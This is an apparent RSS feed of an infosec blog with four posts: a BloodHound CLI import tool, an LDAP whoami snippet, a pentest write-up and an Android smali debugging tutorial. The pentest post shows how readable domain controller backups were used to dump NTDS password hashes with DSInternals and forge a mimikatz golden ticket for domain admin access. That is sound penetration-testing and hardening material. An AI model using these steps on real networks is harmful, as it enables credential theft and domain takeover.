Jekyll2023-01-26T22:45:01+01:00https://malacupa.com/feed.xmlmalacupa.commalacupa infosec blogmalacupaStarHound - CLI import tool for SharpHound/AzureHound data2023-01-26T11:10:37+01:002023-01-26T11:10:37+01:00https://malacupa.com/2023/01/26/starhound<p>This is about <a href="https://github.com/malacupa/starhound-importer">StarHound Importer</a> tool on GitHub.</p>
<h3 id="what">What?</h3>
<p>I assume everyone who would stumble upon this article would know what all those *Hound tools are about but let’s take it briefly from the top:</p>
<ul>
<li><a href="https://github.com/BloodHoundAD/SharpHound">SharpHound</a> is C# CLI application to collect objects and their permissions from Active Directory</li>
<li><a href="https://github.com/BloodHoundAD/AzureHound">AzureHound</a> is SharpHound’s cloud counterpart written in Golang used to collect objects and permissions from Azure Active Directory and Azure Resource Manager</li>
</ul>
<p>Now, <a href="https://github.com/BloodHoundAD/BloodHound">BloodHound</a> is a desktop application built in Electron JavaScript framework that visualizes data collected by the 2 tools above. It uses neo4j database for storing its data and contains logic to setup DB indexes, prebuilt queries and mostly amazing visualizations of attack paths in your AD and Azure. The tool also includes logic to import data from Sharp and Azure hounds into neo4j. And here’s the thing, you don’t really have to use BloodHound to analyze your AD and AAD data. You can interact with neo4j directly. There has been many articles and tools providing Cypher queries (neo4j’s query language) to run directly on the DB and gain more insight into BloodHound data, e.g.:</p>
<ul>
<li><a href="https://github.com/knavesec/Max">Max</a>: Maximizing BloodHound with a simple suite of tools</li>
<li><a href="https://github.com/kaluche/bloodhound-quickwin">bloodhound-quickwin</a>:</li>
<li><a href="https://github.com/PlumHound/PlumHound">PlumHound</a>: BloodHoundAD Report Engine for Security Teams</li>
<li><a href="https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/">BloodHound Cypher Cheatsheet</a>: One of the bigger Cypher cheatsheets, by hausec</li>
<li><a href="https://github.com/fin3ss3g0d/cypherhound">cypherhound</a>: Python3 CLI with 260+ neo4j queries by fin3ss3g0d</li>
<li>…</li>
</ul>
<h3 id="why">Why?</h3>
<p>BloodHound for all its perks and fanciness is quite heavy application, not to talk about the fact you can’t really use it on GUI-less server. There is already project for importing BloodHound data - <a href="https://github.com/fox-it/bloodhound-import">bloodhound-import</a> written in Python. It’s great but it tries to reproduce logic written in JavaScript desktop app in Python which, of course, brings additional implementation overhead and makes it harder trying to keep up with the BloodHound project. It’s currently supporting BloodHound version 3 while there’s already BloodHound 4.2. Initially, I’ve tried to update bloodhound-import’s code to be compatible with latest BloodHound but when I was almost ready to create a pull request, new BloodHound was introduced.</p>
<p>That made me realize I won’t have time to keep up with BloodHound. Yet, my import files are large making BloodHound stuck and I don’t have GUI server so I still need some CLI import tool. For this reason, I decided to butcher BloodHound’s code and just write import tool in JavaScript that uses as much of BloodHound project’s code as possible.</p>
<p>Unfortunately, BloodHound’s GUI-dependent code or my JavaScript knowledge allowed me to only reuse 2 unmodified files from the original repository. Still, it took me only fraction of time from when I tried updating bloodhound-import. Let’s see if I’ll be able to keep up with BloodHound updates.</p>
<hr />
<p>If I’ve missed anything on the topic or just want to discuss, I’m here: <a href="https://twitter.com/malacupa">@malacupa</a></p>malacupaThis is about StarHound Importer tool on GitHub.Active Directory, whoami?2022-02-08T11:10:37+01:002022-02-08T11:10:37+01:00https://malacupa.com/2022/02/08/active-directory-whoami<p>Sometimes it happens that I authenticate as multiple users from either single PowerShell session or in multiple windows. And sometimes I’m not careful and lose track of who is logged-in in where. Using <code class="language-plaintext highlighter-rouge">klist</code> does not always show any tickets (because NTLM is used? have yet to find out). In those cases, running traditional <code class="language-plaintext highlighter-rouge">whoami.exe</code> may not return correct username if I’ve injected tickets or used <code class="language-plaintext highlighter-rouge">runas</code>. It would just be the best to run <code class="language-plaintext highlighter-rouge">whoami</code> against Active Directory somehow…</p>
<p>New to me, this is what bugch3ck is doing in his C# project <a href="https://github.com/bugch3ck/SharpLdapWhoami">SharpLdapWhoami</a> by using LDAP’s <a href="https://www.rfc-editor.org/rfc/rfc4532.html">“Who am I?”</a> operation with OID <code class="language-plaintext highlighter-rouge">1.3.6.1.4.1.4203.1.11.3</code>. If you have <a href="https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/remote-server-administration-tools">RSAT</a> with Active Directory Domain Services installed or just <code class="language-plaintext highlighter-rouge">System.DirectoryServices.Protocols.dll</code> laying around, you can issue this LDAP <code class="language-plaintext highlighter-rouge">whoami</code> also using plain PowerShell like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># before running, .NET types from System.DirectoryServices.Protocols.dll need to be loaded, e.g. by Add-Type -Path .\some\path\System.DirectoryServices.Protocols.dll
# or if you have RSAT installed easiest is to auto-import it by running any RSAT command, e.g. "Get-ADUser -?"
$dc = "here goes Domain Controller's hostname or FQDN"
$c = new-object System.DirectoryServices.Protocols.LdapConnection($dc)
$rq = new-object System.DirectoryServices.Protocols.ExtendedRequest('1.3.6.1.4.1.4203.1.11.3')
write-host ([System.Text.Encoding]::ASCII.GetString($c.SendRequest($rq).ResponseValue))
</code></pre></div></div>
<div style="text-align: right"><sub>I'm leaving any error validation as an exercise to the reader :)</sub></div>
<p><br /></p>
<p>Lastly, an example where I see this super helpful. I see nothing in <code class="language-plaintext highlighter-rouge">klist</code> output and <code class="language-plaintext highlighter-rouge">whoami.exe</code> doesn’t help. Since I know there should be authenticated session to AD, I connect to domain controller <code class="language-plaintext highlighter-rouge">dc01</code> and do the LDAP whoami:</p>
<p><img src="/public/pics/active-directory-whoami1.png" alt="LDAP's whoami request usage" /></p>
<p>From the output now I know I’m actually authenticated as user <code class="language-plaintext highlighter-rouge">luigi</code> to domain <code class="language-plaintext highlighter-rouge">mango</code>.</p>malacupaSometimes it happens that I authenticate as multiple users from either single PowerShell session or in multiple windows. And sometimes I’m not careful and lose track of who is logged-in in where. Using klist does not always show any tickets (because NTLM is used? have yet to find out). In those cases, running traditional whoami.exe may not return correct username if I’ve injected tickets or used runas. It would just be the best to run whoami against Active Directory somehow…Unprotected Domain Controller Backups -> Full Domain Compromise2018-12-31T11:10:37+01:002018-12-31T11:10:37+01:00https://malacupa.com/2018/12/31/unprotected-domain-controller-backups-to-domain-compromise<h2 id="intro">Intro</h2>
<p>In this post, I’d like to show you why you should not leave your old Domain Controller backups lying around if you are admin and why you should be happy to find it if you are pentester.</p>
<h2 id="tldr">TL;DR</h2>
<p>Skip to <a href="#recap">Recap</a></p>
<h2 id="lenghty-version">Lenghty Version</h2>
<p>I’m not really experienced with testing Windows Domain networks but I got lucky and was given access into one.
This was my first pentest of this kind and I had a bit easier situation as I got valid credentials to one low privileged user in the domain. The task was to penetrate as far as I could.</p>
<h3 id="initial-finding">Initial Finding</h3>
<p>I tried a number of attack vectors, searched available SMB shares but nothing. I spent quite some time jumping from one attack to another and just lost track of what I did and didn’t. Eventually, I realized that the network shares should be given a bit more care. To my luck, it paid off!
I found a shared folder called <code class="language-plaintext highlighter-rouge">BACKUPS</code> containing Domain Controllers’ backups readable by any authenticated user. If I got my hands on <code class="language-plaintext highlighter-rouge">ntds.dit</code> Active Directory database file, I should be able to extract password hashes of every domain account! Let’s see.</p>
<p>Inside the share, there ware separate folders for each of the 4 domain controllers. One of the DC folders looked like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Directory of \\blahblah\BACKUPS\dc001
2018-02-13 08:45 PM <DIR> .
2018-02-13 08:45 PM <DIR> ..
2018-02-13 08:45 PM <DIR> Backup 2018-03-19 022924
2018-02-13 08:45 PM <DIR> Catalog
2018-02-13 08:25 PM 16 MediaId
2018-02-13 08:45 PM <DIR> SPPMetadataCache
dc001\Backup 2018-02-13 011635
2018-02-13 08:45 PM <DIR> .
2018-02-13 08:45 PM <DIR> ..
2018-02-13 08:45 PM 9,764,339,712 27163d45-0000-0000-0000-100000000000.vhdx
2018-02-13 08:45 PM 20,971,520 83423cde-0000-0000-0000-010000000000.vhdx
2018-02-13 08:45 PM 22,515,023,872 64eab400-0000-0000-0000-100000000000.vhdx
2018-02-13 08:45 PM 62,914,560 64eab400-0000-0000-0000-80dd1f000000.vhdx
2018-02-13 08:45 PM 111,149,056 94f35c2e-0000-0000-0000-100000000000.vhdx
2018-02-13 08:45 PM 2,574 BackupSpecs.xml
2018-02-13 08:45 PM 776 5e3c1f87-6edf-4482-9c23-cc9461bf989e_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml
2018-02-13 08:45 PM 20,306 5e3c1f87-6edf-4482-9c23-cc9461bf989e_Components.xml
2018-02-13 08:45 PM 9,138 5e3c1f87-6edf-4482-9c23-cc9461bf989e_RegistryExcludes.xml
2018-02-13 08:45 PM 2,940 5e3c1f87-6edf-4482-9c23-cc9461bf989e_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml
2018-02-13 08:45 PM 7,432 5e3c1f87-6edf-4482-9c23-cc9461bf989e_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml
2018-02-13 08:45 PM 1,746 5e3c1f87-6edf-4482-9c23-cc9461bf989e_Writerd61d61c8-d73a-4eee-8cdd-f6f9786b7124.xml
2018-02-13 08:45 PM 5,428,292 5e3c1f87-6edf-4482-9c23-cc9461bf989e_Writere8132975-6f93-4464-a53e-1050253ae220.xml
</code></pre></div></div>
<p>This is how it looks like when you perform Windows Server Backup. I didn’t know what was important and what was not so I archived everything, split it into smaller chunks and transferred on my Linux machine.
As you might have guessed, the <code class="language-plaintext highlighter-rouge">.vhdx</code> files are images of hard drives used by backed up server. To better understand what these UUID names actually are, we can view <code class="language-plaintext highlighter-rouge">Backup 2018-02-13 011635\BackupSpecs.xml</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><?xml version="1.0"?>
<BackupSpecs Version="1">
<FileSpecs>
<Volume Name="\\?\Volume{64eab400-0000-0000-0000-80dd1f000000}\" AccessPath="" OriginalAccessPath="" Label="" OriginalLabel="">
<FileSpec FilePath="\\?\Volume{64eab400-0000-0000-0000-80dd1f000000}\" FileName="*" IsRecursive="true" IsInclude="true"/>
</Volume>
<Volume Name="\\?\Volume{94f35c2e-0000-0000-0000-100000000000}\" AccessPath="D:" OriginalAccessPath="D:" Label="" OriginalLabel="">
<FileSpec FilePath="D:\" FileName="*" IsRecursive="true" IsInclude="true"/>
</Volume>
<Volume Name="\\?\Volume{83423cde-0000-0000-0000-010000000000}\" AccessPath="E:" OriginalAccessPath="E:" Label="" OriginalLabel="">
<FileSpec FilePath="E:\" FileName="*" IsRecursive="true" IsInclude="true"/>
</Volume>
<Volume Name="\\?\Volume{27163d45-0000-0000-0000-100000000000}\" AccessPath="F:" OriginalAccessPath="F:" Label="" OriginalLabel="">
<FileSpec FilePath="F:\" FileName="*" IsRecursive="true" IsInclude="true"/>
</Volume>
<Volume Name="\\?\Volume{64eab400-0000-0000-0000-100000000000}\" AccessPath="C:" OriginalAccessPath="C:" Label="" OriginalLabel="">
<FileSpec FilePath="C:\" FileName="*" IsRecursive="true" IsInclude="true"/>
</Volume>
</FileSpecs>
<SystemState IsPresent="true"/>
<AllCritical IsPresent="true"/>
<ComponentSpecs/>
</BackupSpecs>
</code></pre></div></div>
<p>From the letters in <code class="language-plaintext highlighter-rouge">AccessPath</code>, <code class="language-plaintext highlighter-rouge">OriginalAccessPath</code> and <code class="language-plaintext highlighter-rouge">FilePath</code> attributes you can find where were these hard drives mounted at the time of backup. I’m going for <code class="language-plaintext highlighter-rouge">ntds.dit</code> file which should be found in <code class="language-plaintext highlighter-rouge">%SystemRoot%\NTDS\ntds.dit</code> and <code class="language-plaintext highlighter-rouge">%SystemRoot%\System32\ntds.dit</code>, where <code class="language-plaintext highlighter-rouge">%SystemRoot%</code> is going to be most probably <code class="language-plaintext highlighter-rouge">C:\Windows</code>. That means I need to read <code class="language-plaintext highlighter-rouge">64eab400-0000-0000-0000-100000000000.vhdx</code> somehow.</p>
<h3 id="mounting-vhdx-in-linux">Mounting VHDX in Linux</h3>
<p>VHDX is some Microsoft virtual hard drive format which you can mount in Linux, for example, using <a href="https://ubuntuforums.org/showthread.php?t=2299701">qemu-utils</a>.</p>
<p>First you connect disk image to network block device:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># qemu-nbd -c /dev/nbd0 64eab400-0000-0000-0000-100000000000.vhdx
</code></pre></div></div>
<p>Then you can see it has two partitions:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># fdisk -l /dev/nbd0
Disk /dev/nbd0: 127.6 GiB, 137014280192 bytes, 267606016 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 162F1224-AABB-CCDD-EEFF-D2B3951504E2
Device Start End Sectors Size Type
/dev/nbd0p1 34 262177 262144 128M Microsoft reserved
/dev/nbd0p2 262184 267565095 267302912 127.5G Microsoft basic data
</code></pre></div></div>
<p>The first partition contains some boot and BitLocker information, the actual <code class="language-plaintext highlighter-rouge">C:</code> drive is on the second one, which you can simply mount like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># mount /dev/nbd0p2 /mnt
</code></pre></div></div>
<h3 id="getting-content-of-ntdsdit">Getting Content of ntds.dit</h3>
<p>Now I could finally search the drive for <code class="language-plaintext highlighter-rouge">ntds.dit</code> and yeah, I found it in both <code class="language-plaintext highlighter-rouge">/mnt/Windows/NTDS/ntds.dit</code> and <code class="language-plaintext highlighter-rouge">/mnt/Windows/System32/ntds.dit</code>. The content of the file is, however, encrypted. The password for encryption is stored in the same file and is also encrypted but can be decrypted with the value of boot key which is stored inside SYSTEM Windows registry hive. The hive files are stored under <code class="language-plaintext highlighter-rouge">%SystemRoot%\System32\Config</code> or in my case <code class="language-plaintext highlighter-rouge">/mnt/Windows/System32/config</code>.
There are several tools you can use to get the hashes, on Linux you can use tools mentioned in this <a href="https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/">ropnop’s article</a>.</p>
<p>I found it’s better to use PowerShell scripts from <a href="https://github.com/MichaelGrafnetter/DSInternals">DSInternals</a> if you have access to some Windows machine, it gives you quite a bit more information. I’ll show you here how I got the hashes using DSInternals. First, copy your <code class="language-plaintext highlighter-rouge">ntds.dit</code> and <code class="language-plaintext highlighter-rouge">SYSTEM</code> files to Windows and install DSInternals:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PS> Install-Module DSInternals
</code></pre></div></div>
<p>Then get the boot key:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">PS</span><span class="err">></span><span class="w"> </span><span class="nx">Get-BootKey</span><span class="w"> </span><span class="nt">-SystemHiveFile</span><span class="w"> </span><span class="o">.</span><span class="nx">\SYSTEM</span><span class="w">
</span><span class="mi">123</span><span class="nf">c51121e6254472e4c65a1f4537393</span><span class="w">
</span></code></pre></div></div>
<p>And view the hashes:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PS> Get-ADDBAccount -All -DBPath .\ntds.dit -BootKey 123c51121e6254472e4c65a1f4537393
Get-ADDBAccount : Object with identity 'CN=Partitions,O=Boot' has not been found.
At line:1 char:1
+ Get-ADDBAccount -All -DBPath .\ntds.dit -BootKey 123c51121e6254472e4c ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : OpenError: (:) [Get-ADDBAccount], DirectoryObjectNotFoundException
+ FullyQualifiedErrorId : DBContextError,DSInternals.PowerShell.Commands.GetADDBAccountCommand
</code></pre></div></div>
<p>WTF? I don’t know what was wrong, maybe some corruption during backup but none of the two <code class="language-plaintext highlighter-rouge">ntds.dit</code> worked. After a while of cursing and searching around I mounted the other VHDX disk image and there on the <code class="language-plaintext highlighter-rouge">F:</code> drive I found this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$RECYCLE.BIN
NTDS
System Volume Information
SYSVOL
</code></pre></div></div>
<p>A backup of <code class="language-plaintext highlighter-rouge">C:\Windows\NTDS</code> inside backup of <code class="language-plaintext highlighter-rouge">F:</code> yo! This gave me one more <code class="language-plaintext highlighter-rouge">ntds.dit</code> file to try aaaaaaand:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PS> Get-ADDBAccount -All -DBPath .\ntds.dit -BootKey 123c51121e6254472e4c65a1f4537393
DistinguishedName: CN=Some User,OU=Basic Users,OU=Accounts,DC=acme,DC=corp
Sid: S-1-5-21-123445567-1234565776-237463274-5762
Guid: 9cacd376-02ed-4ca7-ba78-adc565f25f2a
SamAccountName: someuser
SamAccountType: User
UserPrincipalName: someuser@acme.corp
PrimaryGroupId: 513
SidHistory:
Enabled: True
UserAccountControl: NormalAccount
AdminCount: False
Deleted: False
LastLogon:
DisplayName: SomeUser
GivenName: Some
Surname: User
Description: ACN
ServicePrincipalName:
SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInherited, SystemAclAutoInherited,
SelfRelative
Owner: S-1-5-21-123445567-1234565776-237463274-512
Secrets
NTHash: 532525e124359744e51591e5053355b6
LMHash:
NTHashHistory:
Hash 01: 532525e124359744e51591e5053355b6
LMHashHistory:
Hash 01: 4ee58551e1e37b399f3d44592d52f2d2
SupplementalCredentials:
ClearText:
NTLMStrongHash: 38b237b10624d195dd422f291935234c
Kerberos:
Credentials:
DES_CBC_MD5
Key: 56c271d371411336
OldCredentials:
DES_CBC_MD5
Key: 4b3f1c5e4a11111d
Salt: ACME.CORPsomeuser
Flags: 0
KerberosNew:
Credentials:
AES256_CTS_HMAC_SHA1_96
Key: 114a3537317512594f1e635c2352201aa4363283052204812b5d371d2eababab
Iterations: 4096
AES128_CTS_HMAC_SHA1_96
Key: 433d543337265c4c10454f5e2dc2f132
Iterations: 4096
DES_CBC_MD5
Key: 19e3e9b991a431d6
Iterations: 4096
OldCredentials:
AES256_CTS_HMAC_SHA1_96
Key: 103152a5a572917325b3c1255315a3b3f492223e61933255a56f3f34413aabab
Iterations: 4096
AES128_CTS_HMAC_SHA1_96
Key: 10c41525511e20053b191e19131d3e38
Iterations: 4096
DES_CBC_MD5
Key: 8f6d02d53b976492
Iterations: 4096
OlderCredentials:
AES256_CTS_HMAC_SHA1_96
Key: 334b3f3d1a48322553111425405451e1b1848361714e1243204f561ddabababb
Iterations: 4096
AES128_CTS_HMAC_SHA1_96
Key: 121353f49124a459221f3715f4a17361
Iterations: 4096
DES_CBC_MD5
Key: 47335231e241f3c5
Iterations: 4096
ServiceCredentials:
Salt: ACME.CORPsomeuser
DefaultIterationCount: 4096
Flags: 0
WDigest:
Hash 01: 4d71b1e2c3d502e2f3514e474b4331ab
Hash 02: 13d1a4520114b4142e62a558454aabab
Hash 03: 42344f26403d5f221a46fe30d3950333
Key Credentials:
Credential Roaming
Created:
Modified:
Credentials:
... few hundred more ...
</code></pre></div></div>
<p>Yes! I could finally read the hashes for more than 500 accounts. Unfortunately, hashes were 10 months old from February and password policy required users to change passwords every 75 days, ugh.</p>
<h3 id="golden-ticket">Golden Ticket</h3>
<p>There are some non-user accounts which don’t conform with domain password policies and their passwords are rarely changed. One of those is KRBTGT account.
This one is used internally to sign all Kerberos tickets in the domain and if you know its hash you can create Golden Tickets. What’s that? Just a completely valid Kerberos ticket allowing you to impersonate any user from any group, even non-existing one.</p>
<p>At this point I found out I’m done with testing as I could use <a href="https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos">mimikatz</a> to impersonate one of domain admin accounts and do anything I’d like:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PS> mimikatz kerberos::golden /domain:acme.corp /sid:S-1-5-21-123445567-1234565776-237463274 /user:SOMEADMIN.DCA /krbtgt:22e9535a571519374f2ab3262522d193 /ptt
User : SOMEADMIN.DCA
Domain : acme.corp (ACME)
SID : S-1-5-21-123445567-1234565776-237463274
User Id : 500
Groups Id : *510 516 524 513 512
ServiceKey: 22e9535a571519374f2ab3262522d193 - rc4_hmac_nt
Lifetime : 12/12/2018 15:33:39 PM ; 12/09/2028 15:33:39 PM ; 12/09/2028 15:33:39 PM
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'SOMEADMIN.DCA @ acme.corp' successfully submitted for current session
PS> dir \\dc001\c$
Volume in drive \\dc001\c$ has no label.
Volume Serial Number is 3832-4843
Directory of \\dc001\c$
12/11/2016 01:45 AM <DIR> Logs
11/09/2017 05:35 AM <DIR> Packages
06/03/2018 04:57 PM <DIR> PerfLogs
04/07/2018 07:81 PM <DIR> Program Files
04/07/2018 04:13 PM <DIR> Program Files (x86)
03/06/2018 01:10 PM <DIR> Temp
02/04/2018 10:04 AM <DIR> Users
02/22/2018 07:31 AM <DIR> Windows
8 Dir(s) 193,487,342,120 bytes free
</code></pre></div></div>
<h2 id="recap">Recap</h2>
<ol>
<li>Domain Controller backups might contain Active Directory database file <code class="language-plaintext highlighter-rouge">ntds.dit</code> and SYSTEM registry hive</li>
<li>SYSTEM hive has boot key that allows you to decrypt <code class="language-plaintext highlighter-rouge">ntds.dit</code> and get NTLM hashes of domain accounts</li>
<li>NTLM hash of KRBTGT account lets you create Golden Ticket to impersonate other users</li>
<li>Impersonation of domain admin accounts is basically game over</li>
</ol>
<h2 id="takeaways">Takeaways</h2>
<ol>
<li>Even older unprotected backups might lead to full Domain compromise</li>
<li>Make sure haven’t missed anything interesting in network shares during a pentest</li>
</ol>
<p><br /></p>
<p>Do you have any idea why I couldn’t get hashes of these two <code class="language-plaintext highlighter-rouge">ntds.dit</code> files? Have any other thoughts? Hit me up on Twitter <a href="http://twitter.com/malacupa">@malacupa</a>.</p>malacupaIntroDebug Decompiled Smali Code in Android Studio 3.22018-11-11T11:10:37+01:002018-11-11T11:10:37+01:00https://malacupa.com/2018/11/11/debug-decompiled-smali-code-in-android-studio-3.2<h2 id="intro">Intro</h2>
<p>Being able to peek into what data are in memory of the app you are currently reverse engineering and step through its code are really useful features and Android Studio with <a href="https://github.com/JesusFreke/smali/wiki/smalidea">smalidea</a> plugin allows you exactly that.
The steps to realize that were already described by smalidea authors on <a href="https://github.com/JesusFreke/smali/wiki/smalidea#debugging-an-application">GitHub</a> or in more details in <a href="https://crosp.net/blog/software-development/mobile/android/android-reverse-engineering-debugging-smali-using-smalidea/">CROSP’s article</a>. These instructions, however, require DDMS which has recently <a href="https://developer.android.com/studio/profile/monitor">deprecated</a>. In this post, I want to show you an alternate way of debugging your smali code which works in latest Android Studio 3.2 without DDMS.</p>
<h2 id="prerequisites">Prerequisites</h2>
<ul>
<li>Android Studio 3.2</li>
<li>Android Emulator or real Android device</li>
<li>APK of application you want to debug</li>
<li><a href="https://ibotpeaches.github.io/Apktool/">Apktool</a> (I use version 2.3.3)</li>
<li>Java SDK</li>
</ul>
<h2 id="1-install-smalidea-plugin">1) Install smalidea plugin</h2>
<p>Let’s start by ripping off <a href="https://crosp.net/blog/software-development/mobile/android/android-reverse-engineering-debugging-smali-using-smalidea/">CROSP’s article</a> as I believe it’s better to repeat the parts that are common here than to force you to jump between two articles.</p>
<p>Open up Android Studio and you should see the welcome screen like the one on screenshot bellow (if not, close your current project by selecting <code class="language-plaintext highlighter-rouge">File -> Close project</code>).</p>
<p><img src="/public/pics/android-studio-welcome-screen.png" alt="Android Studio's welcome screen" /></p>
<p>On the welcome screen, select <code class="language-plaintext highlighter-rouge">Configure -> Plugins</code> which opens up a Plugin’s window. There, you can install smalidea by providing the path to plugin’s ZIP file (download <a href="https://bitbucket.org/JesusFreke/smali/downloads/">here</a>) using <code class="language-plaintext highlighter-rouge">Install plugin from disk...</code> button. After installation Android Studio will ask you to restart it so go for it.</p>
<h2 id="2-decompile-apk">2) Decompile APK</h2>
<p>In this tutorial, I’ll use open-source app <a href="https://gitlab.com/HoraApps/LeafPic">LeafPic</a> by <a href="https://gitlab.com/HoraApps">HoraApps</a> (thank you!) though you’d probably reverse engineer some closed-source app. I’ve built APK of this app in release config as it’s more realistic and now I’m going to pretend I don’t have the source code.</p>
<p>Having no source, we unpack and decompile out APK to smali:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># unpack and decompile whole APK to be patched later</span>
apktool d application.apk <span class="nt">-o</span> re_project0/
<span class="c"># create folder for all decompiled smali sources</span>
<span class="nb">mkdir</span> <span class="nt">-p</span> re_project0/src
<span class="c"># copy all the smali code to sources folder</span>
<span class="nb">cp</span> <span class="nt">-R</span> re_project0/smali<span class="k">*</span>/<span class="k">*</span> re_project0/src
</code></pre></div></div>
<h2 id="3-import-smali-project-to-android-studio">3) Import Smali Project to Android Studio</h2>
<p>Go to Android Studio’s welcome screen again and this time select <code class="language-plaintext highlighter-rouge">Open an existing Android Studio project</code> and select <code class="language-plaintext highlighter-rouge">re_project0/</code> folder where you unpacked APK.</p>
<p>Once project loads, you need to tell the IDE where is your source code. First, you need to switch to Project view by clicking on <code class="language-plaintext highlighter-rouge">Android</code> in the left side panel. Then a menu, as on the screenshot below, appears and you’ll select <code class="language-plaintext highlighter-rouge">Project</code>.</p>
<p><img src="/public/pics/android-studio-project-view-selection.png" alt="Selection of Project view in Android Studio" /></p>
<p>Now you can see folder structure in your left panel. Find <code class="language-plaintext highlighter-rouge">src/</code> subfolder right click it and select <br /><code class="language-plaintext highlighter-rouge">Mark Directory as -> Sources Root</code>.</p>
<h2 id="4-prepare-app-for-debugging">4) Prepare App for Debugging</h2>
<p>Most of the apps you’ll try reverse engineer won’t allow you to debug them straight away as they are not debuggable. Fortunately, usually, that is no issue <sup><a href="#sn-1">1</a></sup> as you can rebuild the APK with correct <a href="https://developer.android.com/guide/topics/manifest/application-element#debug"><code class="language-plaintext highlighter-rouge">android:debuggable</code></a> flag.</p>
<p>To do that, you should go to your <code class="language-plaintext highlighter-rouge">re_project0/</code>, open <code class="language-plaintext highlighter-rouge">AndroidManifest.xml</code> in your favorite text editor and locate XML element <code class="language-plaintext highlighter-rouge"><application></code>. This element will have number of attributes but you don’t care about these at the moment, you just need to make sure there is attribute <code class="language-plaintext highlighter-rouge">android:debuggable</code> with value <code class="language-plaintext highlighter-rouge">true</code> as in this example:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><application</span> <span class="na">android:debuggable=</span><span class="s">"true"</span> <span class="na">android:allowBackup=</span><span class="s">"true"</span> <span class="na">android:icon=</span><span class="s">"@mipmap/ic_launcher"</span> <span class="na">android:label=</span><span class="s">"@string/app_name"</span> <span class="na">android:largeHeap=</span><span class="s">"true"</span> <span class="na">android:name=</span><span class="s">"org.horaapps.leafpic.App"</span> <span class="na">android:theme=</span><span class="s">"@style/Theme.AppCompat"</span><span class="nt">></span>
</code></pre></div></div>
<p>After you made the change, you should repack the application back to APK using <code class="language-plaintext highlighter-rouge">apktool</code> like this:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>apktool b re_project0/
</code></pre></div></div>
<p>Your patched APK will be in <code class="language-plaintext highlighter-rouge">re_project0/dist</code> directory. From there you can install it using <code class="language-plaintext highlighter-rouge">adb install patched.apk</code>, just remember to sign it first <sup><a href="#sn-2">2</a></sup>.</p>
<h2 id="5-prepare-android-device-for-debugging">5) Prepare Android Device for Debugging</h2>
<p>Once your debuggable APK is installed, you need to make changes in your real/emulated Android device.</p>
<p>First, connect your USB cable or start your emulator and make sure you have <code class="language-plaintext highlighter-rouge">adb</code> access to your device - you can verify using <code class="language-plaintext highlighter-rouge">adb shell</code>.</p>
<p>Then, in your Android, go to <code class="language-plaintext highlighter-rouge">Settings -> Developer options</code> <sup><a href="#sn-3">3</a></sup> and set <code class="language-plaintext highlighter-rouge">USB debugging</code> and <code class="language-plaintext highlighter-rouge">Wait for debugger</code> options on. The latter is optional but useful as it allows you wait for debugger connection and not to run app yet.</p>
<p>Finally, you should tap on <code class="language-plaintext highlighter-rouge">Select debug app</code> and choose your debuggable app. After all of these, your Developer options menu should look somewhat like this:</p>
<p><img src="/public/pics/developer-options-debug-ready.png" alt="Developer options ready for app debugging" /></p>
<p>All is set there, go ahead and start your application. The app should get stuck waiting for a debugger with a dialog looking like this one:</p>
<p><img src="/public/pics/waiting-for-debugger.png" alt="Waiting For Debugger Dialog" /></p>
<p>Everything is cool, the application is waiting for debugger but there is one last step remaining. As the application is listening for debugger’s connection on localhost of Android device, we need to somehow forward it to our host where Android Studio is running.</p>
<p>We’ll use <code class="language-plaintext highlighter-rouge">adb</code>’s port forwarding feature here and forward <a href="https://en.wikipedia.org/wiki/Java_Platform_Debugger_Architecture">JDWP</a> service where application’s debug interface is listening (found from <code class="language-plaintext highlighter-rouge">adb jdwp</code>) to TCP port 5005 on host system using this: <sup><a href="#sn-4">4</a></sup></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb forward tcp:5005 jdwp:<span class="si">$(</span><span class="nb">timeout </span>0.5 adb jdwp | <span class="nb">tail</span> <span class="nt">-n</span> 1<span class="si">)</span>
</code></pre></div></div>
<h2 id="5-connect-debugger">5) Connect Debugger</h2>
<p>After finishing following last steps, the debugger attaches to your app and runs the application so this is the right time to place your breakpoints in smali code.</p>
